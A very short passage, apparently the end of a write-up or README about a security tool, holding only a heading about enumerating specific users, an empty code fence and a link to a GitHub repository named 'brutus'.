# Enumerate specific users
```
---
[Read more](https://github.com/praetorian-inc/brutus)